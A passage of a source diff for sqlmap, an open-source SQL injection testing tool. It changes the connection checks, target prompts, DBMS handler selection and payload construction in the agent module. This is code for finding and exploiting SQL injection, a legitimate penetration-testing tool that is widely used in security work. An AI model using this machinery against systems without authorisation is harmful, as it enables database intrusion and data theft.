|
|||||||
|
|
||||||
try:
|
try:
|
||||||
kb.originalPageTime = time.time()
|
kb.originalPageTime = time.time()
|
||||||
page, headers = Request.queryPage(content=True, noteResponseTime=False)
|
page, headers, _ = Request.queryPage(content=True, noteResponseTime=False)
|
||||||
kb.originalPage = kb.pageTemplate = page
|
kb.originalPage = kb.pageTemplate = page
|
||||||
|
|
||||||
kb.errorIsNone = False
|
kb.errorIsNone = False
|
||||||
@@ -1449,9 +1512,10 @@ def checkConnection(suppressOutput=False):
|
|||||||
warnMsg += "which could interfere with the results of the tests"
|
warnMsg += "which could interfere with the results of the tests"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
elif wasLastResponseHTTPError():
|
elif wasLastResponseHTTPError():
|
||||||
warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError()
|
if getLastRequestHTTPError() != conf.ignoreCode:
|
||||||
warnMsg += "which could interfere with the results of the tests"
|
warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError()
|
||||||
logger.warn(warnMsg)
|
warnMsg += "which could interfere with the results of the tests"
|
||||||
|
logger.warn(warnMsg)
|
||||||
else:
|
else:
|
||||||
kb.errorIsNone = True
|
kb.errorIsNone = True
|
||||||
|
|
||||||
@@ -1472,7 +1536,7 @@ def checkConnection(suppressOutput=False):
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] "
|
msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] "
|
||||||
if readInput(msg, default="Y") not in ("n", "N"):
|
if readInput(msg, default='Y', boolean=True):
|
||||||
raise SqlmapSilentQuitException
|
raise SqlmapSilentQuitException
|
||||||
else:
|
else:
|
||||||
kb.ignoreNotFound = True
|
kb.ignoreNotFound = True
|
||||||
@@ -1481,6 +1545,10 @@ def checkConnection(suppressOutput=False):
|
|||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
def checkInternet():
|
||||||
|
content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
|
||||||
|
return CHECK_INTERNET_VALUE in (content or "")
|
||||||
|
|
||||||
def setVerbosity(): # Cross-linked function
|
def setVerbosity(): # Cross-linked function
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
import time
|
||||||
|
|
||||||
from lib.controller.action import action
|
from lib.controller.action import action
|
||||||
from lib.controller.checks import checkSqlInjection
|
from lib.controller.checks import checkSqlInjection
|
||||||
@@ -15,6 +16,7 @@ from lib.controller.checks import checkStability
|
|||||||
from lib.controller.checks import checkString
|
from lib.controller.checks import checkString
|
||||||
from lib.controller.checks import checkRegexp
|
from lib.controller.checks import checkRegexp
|
||||||
from lib.controller.checks import checkConnection
|
from lib.controller.checks import checkConnection
|
||||||
|
from lib.controller.checks import checkInternet
|
||||||
from lib.controller.checks import checkNullConnection
|
from lib.controller.checks import checkNullConnection
|
||||||
from lib.controller.checks import checkWaf
|
from lib.controller.checks import checkWaf
|
||||||
from lib.controller.checks import heuristicCheckSqlInjection
|
from lib.controller.checks import heuristicCheckSqlInjection
|
||||||
@@ -52,6 +54,7 @@ from lib.core.exception import SqlmapBaseException
|
|||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.exception import SqlmapNotVulnerableException
|
from lib.core.exception import SqlmapNotVulnerableException
|
||||||
from lib.core.exception import SqlmapSilentQuitException
|
from lib.core.exception import SqlmapSilentQuitException
|
||||||
|
from lib.core.exception import SqlmapSkipTargetException
|
||||||
from lib.core.exception import SqlmapValueException
|
from lib.core.exception import SqlmapValueException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
from lib.core.settings import ASP_NET_CONTROL_REGEX
|
from lib.core.settings import ASP_NET_CONTROL_REGEX
|
||||||
@@ -65,7 +68,6 @@ from lib.core.settings import REFERER_ALIASES
|
|||||||
from lib.core.settings import USER_AGENT_ALIASES
|
from lib.core.settings import USER_AGENT_ALIASES
|
||||||
from lib.core.target import initTargetEnv
|
from lib.core.target import initTargetEnv
|
||||||
from lib.core.target import setupTargetEnv
|
from lib.core.target import setupTargetEnv
|
||||||
from thirdparty.pagerank.pagerank import get_pagerank
|
|
||||||
|
|
||||||
def _selectInjection():
|
def _selectInjection():
|
||||||
"""
|
"""
|
||||||
@@ -117,11 +119,11 @@ def _selectInjection():
|
|||||||
message += "\n"
|
message += "\n"
|
||||||
|
|
||||||
message += "[q] Quit"
|
message += "[q] Quit"
|
||||||
select = readInput(message, default="0")
|
choice = readInput(message, default='0').upper()
|
||||||
|
|
||||||
if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0:
|
if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
|
||||||
index = int(select)
|
index = int(choice)
|
||||||
elif select[0] in ("Q", "q"):
|
elif choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
else:
|
else:
|
||||||
errMsg = "invalid choice"
|
errMsg = "invalid choice"
|
||||||
@@ -141,7 +143,7 @@ def _formatInjection(inj):
|
|||||||
if inj.place == PLACE.CUSTOM_HEADER:
|
if inj.place == PLACE.CUSTOM_HEADER:
|
||||||
payload = payload.split(',', 1)[1]
|
payload = payload.split(',', 1)[1]
|
||||||
if stype == PAYLOAD.TECHNIQUE.UNION:
|
if stype == PAYLOAD.TECHNIQUE.UNION:
|
||||||
count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1
|
count = re.sub(r"(?i)(\(.+\))|(\blimit[^a-z]+)", "", sdata.payload).count(',') + 1
|
||||||
title = re.sub(r"\d+ to \d+", str(count), title)
|
title = re.sub(r"\d+ to \d+", str(count), title)
|
||||||
vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6])
|
vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6])
|
||||||
if count == 1:
|
if count == 1:
|
||||||
@@ -162,7 +164,8 @@ def _showInjections():
|
|||||||
else:
|
else:
|
||||||
header = "sqlmap resumed the following injection point(s) from stored session"
|
header = "sqlmap resumed the following injection point(s) from stored session"
|
||||||
|
|
||||||
if hasattr(conf, "api"):
|
if conf.api:
|
||||||
|
conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
|
||||||
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
||||||
else:
|
else:
|
||||||
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
|
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
|
||||||
@@ -183,8 +186,8 @@ def _randomFillBlankFields(value):
|
|||||||
|
|
||||||
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
|
if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value):
|
||||||
message = "do you want to fill blank fields with random values? [Y/n] "
|
message = "do you want to fill blank fields with random values? [Y/n] "
|
||||||
test = readInput(message, default="Y")
|
|
||||||
if not test or test[0] in ("y", "Y"):
|
if readInput(message, default='Y', boolean=True):
|
||||||
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
|
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
|
||||||
item = match.group("result")
|
item = match.group("result")
|
||||||
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
|
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
|
||||||
@@ -276,6 +279,21 @@ def start():
|
|||||||
|
|
||||||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||||
try:
|
try:
|
||||||
|
|
||||||
|
if conf.checkInternet:
|
||||||
|
infoMsg = "[INFO] checking for Internet connection"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if not checkInternet():
|
||||||
|
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
||||||
|
dataToStdout(warnMsg)
|
||||||
|
|
||||||
|
while not checkInternet():
|
||||||
|
dataToStdout('.')
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
dataToStdout("\n")
|
||||||
|
|
||||||
conf.url = targetUrl
|
conf.url = targetUrl
|
||||||
conf.method = targetMethod.upper() if targetMethod else targetMethod
|
conf.method = targetMethod.upper() if targetMethod else targetMethod
|
||||||
conf.data = targetData
|
conf.data = targetData
|
||||||
@@ -305,7 +323,9 @@ def start():
|
|||||||
message = "SQL injection vulnerability has already been detected "
|
message = "SQL injection vulnerability has already been detected "
|
||||||
message += "against '%s'. Do you want to skip " % conf.hostname
|
message += "against '%s'. Do you want to skip " % conf.hostname
|
||||||
message += "further tests involving it? [Y/n]"
|
message += "further tests involving it? [Y/n]"
|
||||||
kb.skipVulnHost = readInput(message, default="Y").upper() != 'N'
|
|
||||||
|
kb.skipVulnHost = readInput(message, default='Y', boolean=True)
|
||||||
|
|
||||||
testSqlInj = not kb.skipVulnHost
|
testSqlInj = not kb.skipVulnHost
|
||||||
|
|
||||||
if not testSqlInj:
|
if not testSqlInj:
|
||||||
@@ -319,7 +339,7 @@ def start():
|
|||||||
if conf.forms and conf.method:
|
if conf.forms and conf.method:
|
||||||
message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl)
|
message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl)
|
||||||
else:
|
else:
|
||||||
message = "URL %d:\n%s %s%s" % (hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "")
|
message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl)
|
||||||
|
|
||||||
if conf.cookie:
|
if conf.cookie:
|
||||||
message += "\nCookie: %s" % conf.cookie
|
message += "\nCookie: %s" % conf.cookie
|
||||||
@@ -332,9 +352,13 @@ def start():
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
message += "\ndo you want to test this form? [Y/n/q] "
|
message += "\ndo you want to test this form? [Y/n/q] "
|
||||||
test = readInput(message, default="Y")
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
if not test or test[0] in ("y", "Y"):
|
if choice == 'N':
|
||||||
|
continue
|
||||||
|
elif choice == 'Q':
|
||||||
|
break
|
||||||
|
else:
|
||||||
if conf.method != HTTPMETHOD.GET:
|
if conf.method != HTTPMETHOD.GET:
|
||||||
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
|
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
|
||||||
conf.data = readInput(message, default=conf.data)
|
conf.data = readInput(message, default=conf.data)
|
||||||
@@ -352,21 +376,14 @@ def start():
|
|||||||
|
|
||||||
parseTargetUrl()
|
parseTargetUrl()
|
||||||
|
|
||||||
elif test[0] in ("n", "N"):
|
|
||||||
continue
|
|
||||||
elif test[0] in ("q", "Q"):
|
|
||||||
break
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
message += "\ndo you want to test this URL? [Y/n/q]"
|
message += "\ndo you want to test this URL? [Y/n/q]"
|
||||||
test = readInput(message, default="Y")
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
if not test or test[0] in ("y", "Y"):
|
if choice == 'N':
|
||||||
pass
|
|
||||||
elif test[0] in ("n", "N"):
|
|
||||||
dataToStdout(os.linesep)
|
dataToStdout(os.linesep)
|
||||||
continue
|
continue
|
||||||
elif test[0] in ("q", "Q"):
|
elif choice == 'Q':
|
||||||
break
|
break
|
||||||
|
|
||||||
infoMsg = "testing URL '%s'" % targetUrl
|
infoMsg = "testing URL '%s'" % targetUrl
|
||||||
@@ -543,9 +560,8 @@ def start():
|
|||||||
|
|
||||||
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
|
msg = "%s parameter '%s' " % (injection.place, injection.parameter)
|
||||||
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
|
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
|
||||||
test = readInput(msg, default="N")
|
|
||||||
|
|
||||||
if test[0] not in ("y", "Y"):
|
if not readInput(msg, default='N', boolean=True):
|
||||||
proceed = False
|
proceed = False
|
||||||
paramKey = (conf.hostname, conf.path, None, None)
|
paramKey = (conf.hostname, conf.path, None, None)
|
||||||
kb.testedParams.add(paramKey)
|
kb.testedParams.add(paramKey)
|
||||||
@@ -629,9 +645,7 @@ def start():
|
|||||||
if kb.injection.place is not None and kb.injection.parameter is not None:
|
if kb.injection.place is not None and kb.injection.parameter is not None:
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||||
exploit = readInput(message, default="Y")
|
condition = readInput(message, default='Y', boolean=True)
|
||||||
|
|
||||||
condition = not exploit or exploit[0] in ("y", "Y")
|
|
||||||
else:
|
else:
|
||||||
condition = True
|
condition = True
|
||||||
|
|
||||||
@@ -644,17 +658,18 @@ def start():
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
message = "do you want to skip to the next target in list? [Y/n/q]"
|
message = "do you want to skip to the next target in list? [Y/n/q]"
|
||||||
test = readInput(message, default="Y")
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
if not test or test[0] in ("y", "Y"):
|
if choice == 'N':
|
||||||
pass
|
|
||||||
elif test[0] in ("n", "N"):
|
|
||||||
return False
|
return False
|
||||||
elif test[0] in ("q", "Q"):
|
elif choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
else:
|
else:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
except SqlmapSkipTargetException:
|
||||||
|
pass
|
||||||
|
|
||||||
except SqlmapUserQuitException:
|
except SqlmapUserQuitException:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
|||||||
@@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission
|
|||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
|
||||||
from lib.core.dicts import DBMS_DICT
|
from lib.core.dicts import DBMS_DICT
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
@@ -71,16 +70,21 @@ def setHandler():
|
|||||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||||
]
|
]
|
||||||
|
|
||||||
_ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items)
|
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
|
||||||
if _:
|
if _:
|
||||||
items.remove(_)
|
items.remove(_)
|
||||||
items.insert(0, _)
|
items.insert(0, _)
|
||||||
|
|
||||||
for dbms, aliases, Handler, Connector in items:
|
for dbms, aliases, Handler, Connector in items:
|
||||||
if conf.dbms and conf.dbms.lower() != dbms and conf.dbms.lower() not in aliases:
|
if conf.forceDbms:
|
||||||
debugMsg = "skipping test for %s" % dbms
|
if conf.forceDbms.lower() not in aliases:
|
||||||
logger.debug(debugMsg)
|
continue
|
||||||
continue
|
else:
|
||||||
|
kb.dbms = conf.dbms = conf.forceDbms = dbms
|
||||||
|
|
||||||
|
if kb.dbmsFilter:
|
||||||
|
if dbms not in kb.dbmsFilter:
|
||||||
|
continue
|
||||||
|
|
||||||
handler = Handler()
|
handler = Handler()
|
||||||
conf.dbmsConnector = Connector()
|
conf.dbmsConnector = Connector()
|
||||||
@@ -102,11 +106,13 @@ def setHandler():
|
|||||||
else:
|
else:
|
||||||
conf.dbmsConnector.connect()
|
conf.dbmsConnector.connect()
|
||||||
|
|
||||||
if handler.checkDbms():
|
if conf.forceDbms == dbms or handler.checkDbms():
|
||||||
if kb.resolutionDbms:
|
if kb.resolutionDbms:
|
||||||
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
|
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
|
||||||
else:
|
else:
|
||||||
conf.dbmsHandler = handler
|
conf.dbmsHandler = handler
|
||||||
|
|
||||||
|
conf.dbmsHandler._dbms = dbms
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
conf.dbmsConnector = None
|
conf.dbmsConnector = None
|
||||||
|
|||||||
+37
-15
@@ -36,7 +36,6 @@ from lib.core.enums import POST_HINT
|
|||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||||
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
|
||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import GENERIC_SQL_COMMENT
|
from lib.core.settings import GENERIC_SQL_COMMENT
|
||||||
@@ -63,7 +62,7 @@ class Agent(object):
|
|||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
|
||||||
_, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
|
_, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
|
||||||
for field in fieldsToCastStr.split(","):
|
for field in fieldsToCastStr.split(','):
|
||||||
query = query.replace(field, self.nullAndCastField(field))
|
query = query.replace(field, self.nullAndCastField(field))
|
||||||
|
|
||||||
if kb.tamperFunctions:
|
if kb.tamperFunctions:
|
||||||
@@ -101,7 +100,7 @@ class Agent(object):
|
|||||||
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
|
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
|
||||||
paramString = origValue
|
paramString = origValue
|
||||||
if place == PLACE.URI:
|
if place == PLACE.URI:
|
||||||
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
|
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||||
else:
|
else:
|
||||||
origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
|
origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
|
||||||
origValue = origValue[origValue.rfind('/') + 1:]
|
origValue = origValue[origValue.rfind('/') + 1:]
|
||||||
@@ -110,19 +109,19 @@ class Agent(object):
|
|||||||
origValue = origValue[origValue.rfind(char) + 1:]
|
origValue = origValue[origValue.rfind(char) + 1:]
|
||||||
elif place == PLACE.CUSTOM_POST:
|
elif place == PLACE.CUSTOM_POST:
|
||||||
paramString = origValue
|
paramString = origValue
|
||||||
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
|
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||||
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
||||||
origValue = origValue.split('>')[-1]
|
origValue = origValue.split('>')[-1]
|
||||||
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
|
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
|
||||||
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)\s*(?P<result>[^"\[,]+\Z)', origValue)
|
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
|
||||||
else:
|
else:
|
||||||
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
|
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
|
||||||
origValue = _.split('=', 1)[1] if '=' in _ else ""
|
origValue = _.split('=', 1)[1] if '=' in _ else ""
|
||||||
elif place == PLACE.CUSTOM_HEADER:
|
elif place == PLACE.CUSTOM_HEADER:
|
||||||
paramString = origValue
|
paramString = origValue
|
||||||
origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
|
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||||
origValue = origValue[origValue.find(',') + 1:]
|
origValue = origValue[origValue.find(',') + 1:]
|
||||||
match = re.search(r"([^;]+)=(?P<value>[^;]+);?\Z", origValue)
|
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
|
||||||
if match:
|
if match:
|
||||||
origValue = match.group("value")
|
origValue = match.group("value")
|
||||||
elif ',' in paramString:
|
elif ',' in paramString:
|
||||||
@@ -131,6 +130,8 @@ class Agent(object):
|
|||||||
if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
|
if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
|
||||||
origValue = origValue.split(' ')[-1].split(':')[-1]
|
origValue = origValue.split(' ')[-1].split(':')[-1]
|
||||||
|
|
||||||
|
origValue = origValue or ""
|
||||||
|
|
||||||
if value is None:
|
if value is None:
|
||||||
if where == PAYLOAD.WHERE.ORIGINAL:
|
if where == PAYLOAD.WHERE.ORIGINAL:
|
||||||
value = origValue
|
value = origValue
|
||||||
@@ -159,17 +160,16 @@ class Agent(object):
|
|||||||
newValue = self.cleanupPayload(newValue, origValue)
|
newValue = self.cleanupPayload(newValue, origValue)
|
||||||
|
|
||||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||||
_ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
|
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
||||||
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString:
|
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString:
|
||||||
newValue = '"%s"' % newValue
|
newValue = '"%s"' % newValue
|
||||||
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString:
|
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString:
|
||||||
newValue = "'%s'" % newValue
|
newValue = "'%s'" % newValue
|
||||||
newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
|
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
|
||||||
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
|
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
|
||||||
retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
|
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
|
||||||
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
|
||||||
_ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
|
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
|
||||||
retVal = "%s=%s" % (re.sub(r" (\#\d\*|\(.+\))\Z", "", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue)))
|
|
||||||
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
|
||||||
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
|
||||||
else:
|
else:
|
||||||
@@ -296,7 +296,7 @@ class Agent(object):
|
|||||||
elif suffix and not comment:
|
elif suffix and not comment:
|
||||||
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
|
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
|
||||||
|
|
||||||
return re.sub(r"(?s);\W*;", ";", expression)
|
return re.sub(r";\W*;", ";", expression)
|
||||||
|
|
||||||
def cleanupPayload(self, payload, origValue=None):
|
def cleanupPayload(self, payload, origValue=None):
|
||||||
if payload is None:
|
if payload is None:
|
||||||
@@ -316,6 +316,7 @@ class Agent(object):
|
|||||||
payload = payload.replace(_, randomStr())
|
payload = payload.replace(_, randomStr())
|
||||||
|
|
||||||
if origValue is not None and "[ORIGVALUE]" in payload:
|
if origValue is not None and "[ORIGVALUE]" in payload:
|
||||||
|
origValue = getUnicode(origValue)
|
||||||
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
|
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
|
||||||
|
|
||||||
if "[INFERENCE]" in payload:
|
if "[INFERENCE]" in payload:
|
||||||
@@ -346,6 +347,12 @@ class Agent(object):
|
|||||||
if payload:
|
if payload:
|
||||||
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
||||||
|
|
||||||
|
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
|
||||||
|
payload = payload.replace(_, str(randomInt()))
|
||||||
|
|
||||||
|
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
||||||
|
payload = payload.replace(_, randomStr())
|
||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
def getComment(self, request):
|
def getComment(self, request):
|
||||||
@@ -452,7 +459,7 @@ class Agent(object):
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if not Backend.getDbms():
|
if not Backend.getIdentifiedDbms():
|
||||||
return fields
|
return fields
|
||||||
|
|
||||||
if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
|
if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
|
||||||
@@ -857,7 +864,7 @@ class Agent(object):
|
|||||||
if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
|
if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
|
||||||
_ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
|
_ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
|
||||||
else:
|
else:
|
||||||
_ = expression.index("LIMIT ")
|
_ = re.search(r"\bLIMIT\b", expression, re.I).start()
|
||||||
expression = expression[:_]
|
expression = expression[:_]
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
@@ -1079,5 +1086,20 @@ class Agent(object):
|
|||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
|
def whereQuery(self, query):
|
||||||
|
if conf.dumpWhere and query:
|
||||||
|
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
|
||||||
|
|
||||||
|
if "%s)" % conf.tbl.upper() in prefix.upper():
|
||||||
|
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
||||||
|
elif re.search(r"(?i)\bWHERE\b", prefix):
|
||||||
|
prefix += " AND %s" % conf.dumpWhere
|
||||||
|
else:
|
||||||
|
prefix += " WHERE %s" % conf.dumpWhere
|
||||||
|
